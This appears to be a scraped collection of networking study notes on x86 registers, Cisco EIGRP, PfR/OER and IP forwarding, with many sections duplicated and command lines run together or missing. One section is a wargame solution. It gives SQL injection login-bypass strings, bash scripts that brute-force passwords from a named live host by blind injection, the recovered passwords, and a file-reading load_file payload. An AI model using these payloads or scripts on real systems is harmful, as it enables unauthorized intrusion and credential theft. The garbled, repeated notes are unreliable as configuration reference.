Registers
CS: Code Segment
IP: Instruction Pointer (EIP/RIP)
DS: Data Segment
AX: Accumulator (AL/AH/./EAX/RAX)
BX: Base (BL/BH/./EBX/RBX)
CX: Counter (CL/CH/./ECX/RCX)
DX: Data (DL/DH/./EDX/RDX)
SI: Source Index (SIL/./ESI/RSI)
DI: Destination Index (DSIL/./EDI/RDI)
R8: (R8B/R8W/R8D/.)
R9: (R9B/R9W/R9D/.)
R10: (R10B/R10W/R10D/.)
R11: (R11B/R11W/R11D/.)
R12: (R12B/R12W/R12D/.)
R13: (R13B/R13W/R13D/.)
R14: (R14B/R14W/R14D/.)
R15: (R15B/R15W/R15D/.)
ES: Extra Segment (Data)
FS: Extra Segment (Data)
GS: Extra Segment (Data)
SS: Stack Segment
BP: Base Pointer (BPL/./EBP/RBP)
SP: Stack Pointer (SPL/./ESP/RSP)
Operating modes
Real mode
- 16-bit registers
- 1MB of memory can be addressed (16-bit --> 20-bit)
- Sub-modes: plain (CS=DS=SS=64KB) or segmented (CS=SS=64KB and multiple data segments of 64 KB)
Protected mode
- 32-bit registers
- 4GB of memory can be addressed
- Boot process: real mode --> protected mode (backward compatibility)
- Plain memory (no segments --> descriptors)
- Sub-mode: virtual 8086 (run real mode programs under a protected mode supervisor OS).
Long mode
- 64-bit registers
- 16EB of memory can be addresses
- Plain memory (no segments)
# EIGRP
EIGRP Basics and Steady-State Operation
- Transport: IP protocol 88 (does not use UDP or TCP)
- Metric: bandwidth + delay (by default) and load + reliability + MTU (optionally)
- Hello interval
- Hold timer
- Update destination: 224.0.0.10
- Full updates: when neighbors are discovered
- Partial updates: otherwise
- Authentication: only MD5
- VLSM: supported
- Route tags: routes redistributed into EIGRP
- Next-hop field: advertisement of routes with a different next-hop router
- Manual summarization
- Multiprotocol: IP, IPX and AppleTalk
Hellos, Neighbors, and Adjacencies
Two EIGRP neighbors become adjacents when:
- Pass the authentication process
- Use the same AS number
- Believe that the source IP of a received Hello is in the same subnet
- K values match (
Hello and Hold time paremeters do not need to match for EIGRP neighbor relationship to form. When monitoring a neighbor relationship, a router uses each neighbor's stated timers.
EIGRP Updates
Sequence:
- Initially full updates are sent.
- Future partials updates occur when one or more routes change.
- If a neighbor fails, recovers or a new adjacency is formed, full updates are sent.
EIGRP uses RTP (Reliable Transport Protocol) to send multicast updates, waiting on a unicast EIGRP ACK from each neighbor.
If a neighbor fails to acknowledge the update then RTP resends a unicast update.
A SRTT (Smoothed Round-Trip Time) is calculated for each neighbor and a RTO (Retransmission TimeOut) from each SRTT. Both values are shown in the
Each acknowledge has a window size of one message and a sequence number.
The EIGRP Topology Table
EIGRP uses 3 tables: neighbor, topology and IP routing table.
The
The neighbor's metric for a route is called the reported distance (RD).
The feasible distance (FD) is the router's best calculated metric among all posible routes for a particular prefix.
The route with the FD is called the successor route (placed in the IP routing table).
EIGRP Convergence
- Reported distance (RD): metric reported by a neighbor router
- Feasible distance (FD): lowest metric to reach a particular subnet
- Feasibility condition (FC): when multiple routes exist, the case in which a RD is lower than the FD
- Successor route (SR): the route with the FD
- Feasible successor (FS): a route that is not de SR but meets the FC.
Input Events and Local Computation
EIGRP sends updates only as a result of changed or new topology information.
For a failed route:
- If a FS routes exists, install the lowest-metric FS route and send updates to neighbors.
- If no FS routes exists, query the neighbors.
Going Active on a Route
When no FS route is found, the EIGRP router goes active for the route.
Once the router is active, EIGRP multicasts Query messages to its neighbors and waits for unicast Reply packets. Both are acknowledged using Ack messages.
When receiving a Query:
- If the router does not have an entry sends a Reply packet stating that it has no route.
- If the router has an entry sends a Reply packet with the details of the route.
- Otherwise, the routers goes active.
Diffusing Update ALgorithm (DUAL) refers to the totality of the logic used by EIGRP to calculate new routes.
Stuck-in-Active
Any router in active state for a route must wait for a Reply to each of its Query messages.
EIGRP includes a timer called Active timer. If expires, the router places the route in a stuck-in-active state and also brings down any neighbors from which no Reply was received.
Limiting Query Scope
- Route summarization: the router immediately replies that it does not have that route.
- Stub routers: non-stub routers do not send Query messages to the stub routers.
EIGRP Configuration Example
EIGRP timers
Default hello interval is 5 seconds. For NMBA interfaces with a slow bandwidth, 60 seconds.
The hold time defaults to 3 times the default hello interval (15 or 180 seconds).
EIGRP Load Balancing
EIGRP allows for up to 6 equal-metric routes to be installed into the IP routing table.
The
EIGRP Authentication
EIGRP does not support clear-text authentication.
EIGRP uses MD5 authentication using a key chain. If multiple keys in a key chain overlap in time, EIGRP use the key with the lowest key number.
EIGRP Automatic Summarization
EIGRP defaults to use automatic summarization.
Use
EIGRP Split Horizon
Split horizon prevents a route from being readvertised out the interface on which it was received.
Most interface types enable split horizon by default.
Can be disabled by using the
EIGRP Route Filtering
Using an ACL:
An incoming filter prevents information from entering the EIGRP topology table.
EIGRP Offset Lists
Allow to add an offset to a route's metric, either before sending and update, or for routes received in an update, using ACLs.
Clearing the IP Routing Table
EIGRP messages
- Hello: identifies neighbors, exchanges parameters, keepalive function
- Update
- Ack: for Update, Query and Reply messages
- Query
- Reply
- Goodbye: to notify a gracefully shutting down
- Transport: IP protocol 88 (does not use UDP or TCP)
- Metric: bandwidth + delay (by default) and load + reliability + MTU (optionally)
- Hello interval
- Hold timer
- Update destination: 224.0.0.10
- Full updates: when neighbors are discovered
- Partial updates: otherwise
- Authentication: only MD5
- VLSM: supported
- Route tags: routes redistributed into EIGRP
- Next-hop field: advertisement of routes with a different next-hop router
- Manual summarization
- Multiprotocol: IP, IPX and AppleTalk
Hellos, Neighbors, and Adjacencies
Two EIGRP neighbors become adjacents when:
- Pass the authentication process
- Use the same AS number
- Believe that the source IP of a received Hello is in the same subnet
- K values match (
metric wights tos k1 k2 k3 k4 k5)Hello and Hold time paremeters do not need to match for EIGRP neighbor relationship to form. When monitoring a neighbor relationship, a router uses each neighbor's stated timers.
EIGRP Updates
Sequence:
- Initially full updates are sent.
- Future partials updates occur when one or more routes change.
- If a neighbor fails, recovers or a new adjacency is formed, full updates are sent.
EIGRP uses RTP (Reliable Transport Protocol) to send multicast updates, waiting on a unicast EIGRP ACK from each neighbor.
If a neighbor fails to acknowledge the update then RTP resends a unicast update.
A SRTT (Smoothed Round-Trip Time) is calculated for each neighbor and a RTO (Retransmission TimeOut) from each SRTT. Both values are shown in the
show ip eigrp neighbor. If the RTO expires before the acknowledge reception then a unicast update is sent.Each acknowledge has a window size of one message and a sequence number.
The EIGRP Topology Table
EIGRP uses 3 tables: neighbor, topology and IP routing table.
The
bandwidth and delay sub-interface commands set manually the default EIGRP metrics.The neighbor's metric for a route is called the reported distance (RD).
The feasible distance (FD) is the router's best calculated metric among all posible routes for a particular prefix.
The route with the FD is called the successor route (placed in the IP routing table).
EIGRP Convergence
- Reported distance (RD): metric reported by a neighbor router
- Feasible distance (FD): lowest metric to reach a particular subnet
- Feasibility condition (FC): when multiple routes exist, the case in which a RD is lower than the FD
- Successor route (SR): the route with the FD
- Feasible successor (FS): a route that is not de SR but meets the FC.
Input Events and Local Computation
EIGRP sends updates only as a result of changed or new topology information.
For a failed route:
- If a FS routes exists, install the lowest-metric FS route and send updates to neighbors.
- If no FS routes exists, query the neighbors.
Going Active on a Route
When no FS route is found, the EIGRP router goes active for the route.
Once the router is active, EIGRP multicasts Query messages to its neighbors and waits for unicast Reply packets. Both are acknowledged using Ack messages.
When receiving a Query:
- If the router does not have an entry sends a Reply packet stating that it has no route.
- If the router has an entry sends a Reply packet with the details of the route.
- Otherwise, the routers goes active.
Diffusing Update ALgorithm (DUAL) refers to the totality of the logic used by EIGRP to calculate new routes.
Stuck-in-Active
Any router in active state for a route must wait for a Reply to each of its Query messages.
EIGRP includes a timer called Active timer. If expires, the router places the route in a stuck-in-active state and also brings down any neighbors from which no Reply was received.
Limiting Query Scope
- Route summarization: the router immediately replies that it does not have that route.
- Stub routers: non-stub routers do not send Query messages to the stub routers.
EIGRP Configuration Example
R1(config)#router eigrp 1R1(config-router)#eigrp log-neighbor-changes! enabled by default R1(config-router)#network 172.31.0.0 0.0.255.255R1(config-router)#metric weights 0 0 0 1 0 0! delay active
R2(config)#int fa0/0R2(config-if)#ip hello-interval eigrp 1 2! AS and hello-interval R2(config-if)#ip hold-time eigrp 1 6R2(config)#router eigrp 1R2(config-router)#network 172.31.0.0 0.0.255.255R2(config-router)#metric weights 0 0 0 1 0 0
R4(config)#int s0/0.1 point-to-pointR4(config-if)#bandwidth 64R4(config-if)#ip bandwidth-percent eigrp 1 150! 150% for EIGRP traffic R4(config)#router eigrp 1R4(config-router)#passive-interface e0/0! no routes learned or advertised on e0/0 R4(config-router)#network 172.31.0.0 0.0.255.255R4(config-router)#metric weights 0 0 0 1 0 0
R5(config)#router eigrp 1R5(config-router)#network 172.31.0.0 0.0.255.255R5(config-router)#eigrp stub connected summary
EIGRP timers
Default hello interval is 5 seconds. For NMBA interfaces with a slow bandwidth, 60 seconds.
The hold time defaults to 3 times the default hello interval (15 or 180 seconds).
EIGRP Load Balancing
EIGRP allows for up to 6 equal-metric routes to be installed into the IP routing table.
The
variance _multiplier_ command allows different metrics to be considered equal (metric < _multiplier_*FD).
EIGRP allows only FS routes to be considered for addition as a result of using the variance command.maximum-path {1..6} (default to 4).traffic-share balanced: more traffic to lower-metric routes.traffic-share min: only use the lowest-metric route.traffic-share min across-interfaces: for routes with the same metric choose those with different outgoing interfaces.no traffic-share: balances evenly across routes.EIGRP Authentication
EIGRP does not support clear-text authentication.
EIGRP uses MD5 authentication using a key chain. If multiple keys in a key chain overlap in time, EIGRP use the key with the lowest key number.
R1(config)#key chain MYKEYCHAINR1(config-keychain)#key 1R1(config-keychain-key)#key-string MYKEY-1R1(config-keychain-key)#accept-lifetime 00:00:00 Jan 01 2012 00:00:00 Jan 01 2013R1(config-keychain-key)#send-lifetime 00:00:00 Jan 01 2012 00:00:00 Jan 01 2013R1(config-keychain)#key 2R1(config-keychain-key)#key-string MYKEY-2R1(config-keychain-key)#accept-lifetime 00:00:00 Jan 01 2013 00:00:00 Jan 01 2014R1(config-keychain-key)#send-lifetime 00:00:00 Jan 01 2013 00:00:00 Jan 01 2014R1(config)#int fa0/0R1(config-if)#ip authentication mode eigrp 1 md5R1(config-if)#ip authentication key-chain eigrp 1 MYKEYCHAIN
EIGRP Automatic Summarization
EIGRP defaults to use automatic summarization.
Use
no auto-summary under router eigrp _asn_ to disable autosummarization.EIGRP Split Horizon
Split horizon prevents a route from being readvertised out the interface on which it was received.
Most interface types enable split horizon by default.
Can be disabled by using the
no ip split-horizon eigrp _asn_ interface subcommand.EIGRP Route Filtering
Using an ACL:
R1(config)#Using a prefix list:access-list 1 deny 172.31.196.0 0.0.3.255R1(config)#access-list 1 permit anyR1(config)#router eigrp 1R1(config-router)#distribute-list 1 in fa0/0
R1(config)#ip prefix-list MYPREFIXLIST seq 5 deny 172.31.192.0/21 ge 30 le 30R1(config)#ip prefix-list MYPREFIXLIST seq 10 permit 0.0.0.0/0 le 32R1(config)#router eigrp 1R1(config-router)#distribute-list prefix MYPREFIXLIST in fa0/0
An incoming filter prevents information from entering the EIGRP topology table.
EIGRP Offset Lists
Allow to add an offset to a route's metric, either before sending and update, or for routes received in an update, using ACLs.
Clearing the IP Routing Table
clear ip route * clears the IP routing table but the router does not send any EIGRP message. The router simply refills the IP routing table with the information of the topology table.clear ip eigrp neighbor clears all neighbors relationship, which clears the entire topology table. The neighbors then come back up, send new updates, and repopulate the topology and routing tables.EIGRP messages
- Hello: identifies neighbors, exchanges parameters, keepalive function
- Update
- Ack: for Update, Query and Reply messages
- Query
- Reply
- Goodbye: to notify a gracefully shutting down
# Rotary groups and autocommand
R2(config)#ip ssh port 2000 rotary 2R2(config)#line vty 0 1R2(config-line)#rotary 1R2(config)#line vty 2 3R2(config-line)#rotary 2R2(config-line)#transport input sshR2(config)#line vty 4 5R2(config-line)#no loginR2(config-line)#rotary 3R2(config-line)#autocommand ssh -l ruser 192.168.12.1R2#show control-plane host open-ports
R1#telnet 192.168.12.2 3001R1#ssh -l ruser -p 2002 192.168.12.2R1#telnet 192.168.12.2 3003
Labels:
autocommand,
ios,
rotary
# Cisco PfR/OER
Cisco Performance Routing (PfR), formely known as Optimized Edge Routing (OER), allows routing based on destination prefix and application type.
PfR is designed to make the best use of available bandwidth, but it does not solve the problem of over-subscribed bandwidth.
Stages
- Learn
- Measure
- Apply Policy
- Enforce
- Verify
Learn
BRs learn interesting applications (traffic classes) using destination prefix with or without port, dscp, source prefix or even application using NBAR.
This profiling process can be automatic or configured manually.
- Automatic
- Manual
Measure
Collect traffic class statistics.
The monitor modes are: passive (Netflow), active (IP SLA), both (Netflow + IP SLA), fast and special (cat6k).
Apply Policy
Determine whether traffic class is out of policy and if an alternate path can meet the policy requirements.
Traffic class states:
- Default: Prefix manually configured but has not been determined to be out-of-policy ~ shutdown
- InPolicy: The prefix meets its respective policy.
- Out-of-Policy: The prefix fails its respective policy.
- HoldDown: Is a period of wait to avoid erratic behaviour after a prefix has been changed.
Enforce
Re-route traffic injecting static routes, BGP local preference or using PBR.
Two modes:
- Observe mode
Default mode. MC monitors traffic classes and exit links.
- Control mode
Configured using the
Verify
Check the new route match the policy.
Use the
To display PfR information about prefixes or routes use:
Laboratory
Topology:
R1-R2-R3-R5
R2-R4-R5
R2 is the MC.
R3 and R4 are the BRs.
Routing configuration:
OER configuration:
Debugging and delay modification:
References
PfR:Technology_Overview
PfR is designed to make the best use of available bandwidth, but it does not solve the problem of over-subscribed bandwidth.
Stages
- Learn
- Measure
- Apply Policy
- Enforce
- Verify
Learn
BRs learn interesting applications (traffic classes) using destination prefix with or without port, dscp, source prefix or even application using NBAR.
This profiling process can be automatic or configured manually.
- Automatic
MC(config)#key chain key1MC(config-keychain)#key 1MC(config-keychain-key)#key-string ciscoMC(config)#oer masterMC(config-oer-mc)#loggingMC(config-oer-mc)#border 10.0.1.1 key-chain key1MC(config-oer-mc-br)#interface fa0/0 internalMC(config-oer-mc-br)#interface fa0/1 externalMC(config-oer-mc)#border 10.0.2.1 key-chain key1MC(config-oer-mc-br)#interface fa0/0 internalMC(config-oer-mc-br)#interface fa0/1 externalMC(config-oer-mc)#learnMC(config-oer-mc-learn)#throughputMC(config-oer-mc-learn)#monitor 1MC(config-oer-mc-learn)#periodic 0
- Manual
MC(config)#ip prefix-list FILTERBRANCH1 seq 10 permit 10.1.1.0/24MC(config)#ip prefix-list FILTERBRANCH1 seq 20 permit 10.1.2.0/24MC(config)#ip prefix-list FILTERBRANCH2 seq 10 permit 10.2.1.0/24MC(config)#ip prefix-list FILTERBRANCH2 seq 20 permit 10.2.2.0/24MC(config)#ip access-list extended MYAPPMC(config-ext-nacl)#permit tcp any any eq 21MC(config)#oer-map MYMAP 10MC(config-oer-map)#match traffic-class application telnet prefix-list FILTERBRANCH1MC(config-oer-map)#set mode select-exit goodMC(config-oer-map)#set delay threshold 2000MC(config-oer-map)#set mode route controlMC(config-oer-map)#set mode monitor bothMC(config-oer-map)#no set resolve delayMC(config-oer-map)#set active-probe echo 10.1.1.10! IP SLA probe MC(config)#oer-map MYMAP 20MC(config-oer-map)#match traffic-class application http prefix-list FILTERBRANCH2MC(config-oer-map)#set mode select-exit goodMC(config-oer-map)#set delay threshold 2000MC(config-oer-map)#set mode route controlMC(config-oer-map)#set mode monitor bothMC(config-oer-map)#no set resolve delayMC(config)#oer-map MYMAP 30MC(config-oer-map)#traffic-class access-list MY_APP filter FILTERBRANCH2MC(config-oer-map)#set mode select-exit goodMC(config-oer-map)#set delay threshold 2000MC(config-oer-map)#set mode route controlMC(config-oer-map)#set mode monitor bothMC(config-oer-map)#no set resolve delayMC(config-oer-map)#set active-probe echo 10.1.3.10! IP SLA probe MC(config)#oer masterMC(config-oer-mc)#policy-rules MYMAPMC(config-oer-mc)#loggingMC(config-oer-mc)#border 10.1.0.1 key-chain key1MC(config-oer-mc-br)#interface fa0/0 internalMC(config-oer-mc-br)#interface fa0/1 externalMC(config-oer-mc)#border 10.2.0.1 key-chain key1MC(config-oer-mc-br)#interface fa0/0 internalMC(config-oer-mc-br)#interface fa0/1 external
Measure
Collect traffic class statistics.
The monitor modes are: passive (Netflow), active (IP SLA), both (Netflow + IP SLA), fast and special (cat6k).
Apply Policy
Determine whether traffic class is out of policy and if an alternate path can meet the policy requirements.
Traffic class states:
- Default: Prefix manually configured but has not been determined to be out-of-policy ~ shutdown
- InPolicy: The prefix meets its respective policy.
- Out-of-Policy: The prefix fails its respective policy.
- HoldDown: Is a period of wait to avoid erratic behaviour after a prefix has been changed.
Enforce
Re-route traffic injecting static routes, BGP local preference or using PBR.
Two modes:
- Observe mode
Default mode. MC monitors traffic classes and exit links.
- Control mode
Configured using the
mode route control command. MC coordinates information from BRs and changes the routing process.Verify
Check the new route match the policy.
Use the
logging command to log PfR state changes.To display PfR information about prefixes or routes use:
show oer master prefixshow oer border routes ?Laboratory
Topology:
R1-R2-R3-R5
R2-R4-R5
R2 is the MC.
R3 and R4 are the BRs.
Routing configuration:
R1(config)#interface fa0/0R1(config-if)#ip address 192.168.12.1 255.255.255.0R1(config)#ip route 0.0.0.0 0.0.0.0 192.168.12.2
R2(config)#interface lo2R2(config-if)#ip address 2.2.2.2 255.255.255.255R2(config)#interface fa0/0R2(config-if)#ip address 192.168.23.2 255.255.255.0R2(config)#interface fa0/1R2(config-if)#ip address 192.168.24.2 255.255.255.0R2(config)#interface fa1/0R2(config-if)#ip address 192.168.12.2 255.255.255.0R2(config)#router bgp 10R2(config-router)#network 2.2.2.2 mask 255.255.255.255R2(config-router)#network 192.168.12.0R2(config-router)#network 192.168.23.0R2(config-router)#network 192.168.24.0R2(config-router)#neighbor 192.168.23.3 remote-as 10R2(config-router)#neighbor 192.168.24.4 remote-as 10
R3(config)#interface lo3R3(config-if)#ip address 3.3.3.3 255.255.255.255R3(config)#interface fa0/0R3(config-if)#ip address 192.168.23.3 255.255.255.0R3(config)#interface sel1/0R3(config-if)#ip address 192.168.35.3 255.255.255.0R3(config)#router bgp 10R3(config-router)#network 3.3.3.3 mask 255.255.255.255R3(config-router)#network 192.168.23.0R3(config-router)#network 192.168.35.0R3(config-router)#neighbor 192.168.23.2 remote-as 10R3(config-router)#neighbor 192.168.35.5 remote-as 20
R4(config)#interface lo4R4(config-if)#ip address 4.4.4.4 255.255.255.255R4(config)#interface fa0/0R4(config-if)#ip address 192.168.45.4 255.255.255.0R4(config)#interface fa0/1R4(config-if)#ip address 192.168.24.4 255.255.255.0R4(config)#router bgp 10R4(config-router)#network 4.4.4.4 mask 255.255.255.255R4(config-router)#network 192.168.24.0R4(config-router)#network 192.168.45.0R4(config-router)#neighbor 192.168.24.2 remote-as 10R4(config-router)#neighbor 192.168.45.5 remote-as 20
R5(config)#interface lo5R5(config-if)#ip address 5.5.5.5 255.255.255.255R5(config)#interface fa0/0R5(config-if)#ip address 192.168.45.5 255.255.255.0R5(config)#interface se1/0R5(config-if)#ip address 192.168.35.5 255.255.255.0R5(config)#router bgp 20R5(config-router)#network 5.5.5.5 mask 255.255.255.255R5(config-router)#network 192.168.35.0R5(config-router)#network 192.168.45.0R5(config-router)#neighbor 192.168.35.3 remote-as 10R5(config-router)#neighbor 192.168.45.4 remote-as 10
OER configuration:
R3(config)#key chain MYKEYR3(config-keychain)#key 1R3(config-keychain-key)#key-string OERR3(config)#oer borderR3(config-oer-br)#loggingR3(config-oer-br)#local loopback 3R3(config-oer-br)#master 2.2.2.2 key-chain MYKEY
R4(config)#key chain MYKEYR4(config-keychain)#key 1R4(config-keychain-key)#key-string OERR4(config)#oer borderR4(config-oer-br)#loggingR4(config-oer-br)#local loopback 4R4(config-oer-br)#master 2.2.2.2 key-chain MYKEY
R2(config)#key chain MYKEYR2(config-keychain)#key 1R2(config-keychain-key)#key-string OERR2(config)#oer masterR2(config-oer-mc)#policy-rules CRITICAL-APPR2(config-oer-mc)#loggingR2(config-oer-mc)#border 3.3.3.3 key-chain MYKEYR2(config-oer-mc-br)#interface fa0/0 internalR2(config-oer-mc-br)#interface se1/0 externalR2(config-oer-mc)#border 4.4.4.4 key-chain MYKEYR2(config-oer-mc-br)#interface fa0/1 internalR2(config-oer-mc-br)#interface fa0/0 externalR2#show oer masterR2(config)#ip prefix-list CRITICAL seq 10 permit 5.5.5.5/32R2(config)#oer-map CRITICAL-APP 10R2(config-oer-map)#match traffic-class prefix-list CRITICALR2(config-oer-map)#set periodic 90! Try to find a better path every 90 seconds R2(config-oer-map)#set mode select-exit best! Try to find the best exit R2(config-oer-map)#set backoff 90 90! Time to wait for a OOPolicy prefix R2(config-oer-map)#set holddown 90R2(config-oer-map)#set delay threshold 50! Maximum delay time R2(config-oer-map)#set mode route control! Control mode R2(config-oer-map)#set mode monitor activeR2(config-oer-map)#set resolve delay priority 1 variance 1R2(config-oer-map)#set active-probe echo 5.5.5.5! From BRs R2#show oer master policyR2#show oer master prefixR2#show ip bgp 5.5.5.5/32! Look for localpref
Debugging and delay modification:
R3# debug oer border active-probesR4# debug oer border active-probesR3(config)#int s1/0R3(config-if)#traffic-shape rate 8000 1000 0 0
References
PfR:Technology_Overview
# Flack wargame
Location
.::|[ FLACK ]|::.
Login bypass
- Level 1
or
- Level 2
or
- Level 3
- Level 4
- Level 5
Other/Blind
- Level 1
- Level 3
or
.::|[ FLACK ]|::.
Login bypass
- Level 1
' or 1=1 #level1or
' or '1'='1' or '1'='1- Level 2
' or 1=1) #level2or
' or '1'='1' or '1'='1- Level 3
admin') #level3- Level 4
# cat bypass-level4.sh
#!/bin/bash
url='http://flack.hkpco.kr/login/level4/index.php'
string='Mail server error'
pass=""
for length in `seq 1 50`; do
match=`curl -s -F "fuser=johnwayne' and length(pass)=$length #" $url | grep "$string"`
if [ "$match" != "" ]; then break; fi
done
echo "Password length = $length"
for i in `seq 1 $length`; do
for char in {{a..z},{0..9},{A..Z}}; do
match=`curl -s -F "fuser=johnwayne' and substring(pass,$i,1)='$char" $url | grep "$string"`
if [ "$match" != "" ]; then break; fi
done
pass="$pass$char"
echo "pass[$i]='$char'"
done
echo "pass='$pass'"johnwaynedrjgxpp- Level 5
' union select md5('level5') #level5Other/Blind
- Level 1
http://flack.hkpco.kr/other/level1/members.php?uid=1 or id>1 order by namehttp://flack.hkpco.kr/other/level1/members.php?uid=4 order by passwordhttp://flack.hkpco.kr/other/level1/members.php?uid=4 order by passhttp://flack.hkpco.kr/other/level1/members.php?uid=4 and length(pass)=1# cat other-level1.sh
#!/bin/bash
url='http://flack.hkpco.kr/other/level1/members.php?uid=4'
string='jumper'
pass=""
for length in `seq 1 50`; do
match=`curl -s "$url and length(pass)=$length" | grep "$string"`
if [ "$match" != "" ]; then break; fi
done
echo "Password length = $length"
for i in `seq 1 $length`; do
for char in {{a..z},{0..9},{A..Z}}; do
decimal=`echo -n $char | od -An -d | tr -d ' '`
match=`curl -s "$url and substring(pass,$i,1)=char($decimal)" | grep "$string"`
if [ "$match" != "" ]; then break; fi
done
pass="$pass$char"
echo "pass[$i]='$char'"
done
echo "pass='$pass'"jumpermehijo123- Level 3
http://flack.hkpco.kr/style.css#echo -n /tmp/a000.temp | od -t x1 -An | sed 's/ /,0x/g'#echo -n /tmp/a000.temp | od -An -t u1 | sed 's/ / /g' | tr ' ' ','
select load_file(char(0x2f,0x74,0x6d,0x70,0x2f,0x61,0x30,0x30,0x30,0x2e,0x74,0x65,0x6d,0x70));or
select load_file(char(47,116,109,112,47,97,48,48,48,46,116,101,109,112));batmanskoda>batmobile
# IP Forwarding
Process Switching, Fast Switching, and Cisco Express Forwarding
With fast switching, the first packet is process switched. The router adds an entry to the fast-switching cache (route cache). The cache has the destination IP address, next-hop information, and data link header information. Future packets with the same destination IP match the cache entry. The cache entries are timed out quickly.
CEF optimizes the route lookup using the Forwarding Information Base (FIB) and adjacency table. FIB contains information about know routes in the RIB and points to entries in the adjancency table. The adjacency table list the outgoing interface and the data link information. This information is precomputed and stored in Ternary Content Addressable Memory (TCAM).
Frame Relay Inverse ARP
With InARP, routers know the DLCI and need to learn the IP address.
A Frame Relay multipoint subinterface uses received InARP information.
A Frame Relay point-to-point subinterface ignores InARP information because any other IP hosts can be reached only by the single DLCI.
A Frame Relay point-to-point interface does not receive InARP information because they only flow across a VC. The solution is to add the
Disabling InARP
InARP can be disabled on multipoint interfaces and physical interfaces using
The router stops sending InARP messages and ignores received InARP messages too.
Classless and Classful Routing
Classless routing: when a default route exists and no specific match is made, the default route is used.
Classful routing: when a default route exists and the class A, B or C network does not exist in the routing table, the default route is used. If a class A, B or C network exists, but the packet does not match any of the existing subnets of that classful network, the default route is not used and the packet is discarded.
Policy Routing
ToS (8b) = [7-5b] IP precedence + [4b] Delay + [3b] Throughput + [2b] Reliability + [1b] Monetary cost + [0] Must be 0.
Optimized Edge Routing and Performance Routing
OER came first, and Cisco has extended its functionality and renamed it PfR or PIRO (Protocol-Independent Routing Optimization).
OER was created to more optimally route traffic than routing protocols and takes into account:
- Packet loss
- Response time
- Path availability
- Traffic load distribution
PfR leans about network performance using IP SLA (active monitoring) and/or Netflow (passive monitoring).
Stages:
- Learn
- Measure
- Apply Policy
- Enforce
- Verify
Requeriments:
- CEF enabled
- IGP/BGP working
- Does not support MPLS and iBGP
- Uses redistribution of static routes with a tag
Device Roles in PfR
- Master Controller (MC)
Configured using the
Learns specified information from the BRs and makes configuration decisions.
- Border Router (BR)
Configured using the
A single router can act as both MC and BR.
MC High Availability and Failure Considerations
BR and MC maintain communication using keepalives. If keepalives from the MC stop, the BR removes any PfR information.
For high availability configure more than one MC.
PfR configuration
GRE Tunnels
Passenger protocol is encapsulated into the transport protocol.
Multicast is a good example of traffic tunneled from one router to another using unicast packets.
With fast switching, the first packet is process switched. The router adds an entry to the fast-switching cache (route cache). The cache has the destination IP address, next-hop information, and data link header information. Future packets with the same destination IP match the cache entry. The cache entries are timed out quickly.
CEF optimizes the route lookup using the Forwarding Information Base (FIB) and adjacency table. FIB contains information about know routes in the RIB and points to entries in the adjancency table. The adjacency table list the outgoing interface and the data link information. This information is precomputed and stored in Ternary Content Addressable Memory (TCAM).
Frame Relay Inverse ARP
With InARP, routers know the DLCI and need to learn the IP address.
A Frame Relay multipoint subinterface uses received InARP information.
Router1(config)#interface s0/0Router1(config-if)#encapsulation frame-relayRouter1(config)#interface s0/0.1 multipointRouter1(config-if)#ip address 192.168.0.1 255.255.255.0Router1(config-if)#frame-relay interface-dlci 200Router1(config-if)#frame-relay interface-dlci 300Router1#show frame-relay map
A Frame Relay point-to-point subinterface ignores InARP information because any other IP hosts can be reached only by the single DLCI.
Router2(config)#interface s0/0Router2(config-if)#encapsulation frame-relayRouter2(config)#interface Serial0/0.2 point-to-pointRouter2(config-if)#192.168.0.2 255.255.255.0Router2(config-if)#frame-relay interface-dlci 100
A Frame Relay point-to-point interface does not receive InARP information because they only flow across a VC. The solution is to add the
frame-relay map command to reach the not directly connected router.Router3(config)#interface s0/0Router3(config-if)#encapsulation frame-relayRouter3(config-if)#192.168.0.3 255.255.255.0Router3(config-if)#frame-relay interface-dlci 100Router3(config-if)#frame-relay map ip 192.168.0.2 100 broadcast
Disabling InARP
InARP can be disabled on multipoint interfaces and physical interfaces using
no frame-relay inverse-arp.The router stops sending InARP messages and ignores received InARP messages too.
Classless and Classful Routing
Classless routing: when a default route exists and no specific match is made, the default route is used.
Classful routing: when a default route exists and the class A, B or C network does not exist in the routing table, the default route is used. If a class A, B or C network exists, but the packet does not match any of the existing subnets of that classful network, the default route is not used and the packet is discarded.
Policy Routing
set ip next-hop 10.1.1.1 10.1.1.2: Forwards to the first addres in the list for which the associated interface is up.set ip default next-hop 10.1.1.1 10.1.1.2: Same logic, except policy routing first attempts to route based on the routing table.set interface s0/0 s1/0: Forwards packets using the first interface in the list that is up.set default interface s0/0 s1/0: Same logic, except policy routing first attempts to route based on the routing table.ToS (8b) = [7-5b] IP precedence + [4b] Delay + [3b] Throughput + [2b] Reliability + [1b] Monetary cost + [0] Must be 0.
set ip precedence number|name: Sets bits 7,6,5 of the ToSset ip tos number: Sets all 8 bits of the ToSRouter(config)#access-list 100 permit tcp any any eq 22Router(config)#route-map MYROUTEMAP permit 10Router(config-route-map)#match ip address 100Router(config-route-map)#set ip next-hop 10.1.1.1Router(config)#route-map MYROUTEMAP permit 20Router(config-route-map)#set ip next-hop 10.1.1.2
Optimized Edge Routing and Performance Routing
OER came first, and Cisco has extended its functionality and renamed it PfR or PIRO (Protocol-Independent Routing Optimization).
OER was created to more optimally route traffic than routing protocols and takes into account:
- Packet loss
- Response time
- Path availability
- Traffic load distribution
PfR leans about network performance using IP SLA (active monitoring) and/or Netflow (passive monitoring).
Stages:
- Learn
- Measure
- Apply Policy
- Enforce
- Verify
Requeriments:
- CEF enabled
- IGP/BGP working
- Does not support MPLS and iBGP
- Uses redistribution of static routes with a tag
Device Roles in PfR
- Master Controller (MC)
Configured using the
oer master command.Learns specified information from the BRs and makes configuration decisions.
- Border Router (BR)
Configured using the
oer border command.A single router can act as both MC and BR.
MC High Availability and Failure Considerations
BR and MC maintain communication using keepalives. If keepalives from the MC stop, the BR removes any PfR information.
For high availability configure more than one MC.
PfR configuration
